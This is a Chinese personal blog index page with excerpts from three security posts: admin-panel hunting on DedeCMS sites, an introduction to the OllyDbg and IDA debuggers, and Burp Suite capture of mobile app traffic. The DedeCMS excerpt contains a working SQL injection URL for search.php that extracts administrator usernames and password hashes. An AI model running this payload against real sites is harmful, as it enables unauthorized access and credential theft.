D0g

我愿乘风破浪,踏遍黄沙海洋

©D0g
Powered by LOFTER
 

这个家伙很懒什么都没留下

这个家伙很懒什么都没留下,一年多没更新了,不想写博客了。。。。。。

 
时光.漫步 许巍
 

搞dedecms站 找后台的一些经验

首先:



注入exp
有时候 有些 /plus/目录换成了 /plugins目录

/plugins/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,

12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,

37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

/plus/search.php?keyword=...

 

Ollydbg和IDA简介

Ollydbg

Ollydbg简称OD,是一款具有图形用户界面的用户模式调试器,可以运行于各种主流Windows操作系统下。Ollydbg具有动态调试和静态分析功能,非常容易上手,对异常的跟踪处理相当灵活,并且许多爱好者为这款调试器编写了许多非常棒的插件,这些特性使得其成为Windows操作系统上用户模式下动态调试器的首选。Ollydbg的反汇编引擎十分强大,可以识别数千个被C和Windows频繁使用的函数,并可以自动对参数进行注释。

虽然OD的GUI界面上拥有丰富的操作按钮,但通常我们使用键盘快捷键来加快我们的调试过程,常用的快捷键有:

     ...

 

使用burpsuite对移动app抓包分析


测试移动APP的联网请求,需要获取路径或者参数的时候,使用该工具burpsuite非常方便! 

 


要求:  

移动终端和PC处于同一个wlan环境下  

第一步:获取本地地址,cmd-->ipconfig  

如下图

第二步:配置手机联网参数 
1.选择“代理设置”为“手动” 
如下图

2. 设置主机名为电脑ip地址,端口自己设定 
如下图

第三步:...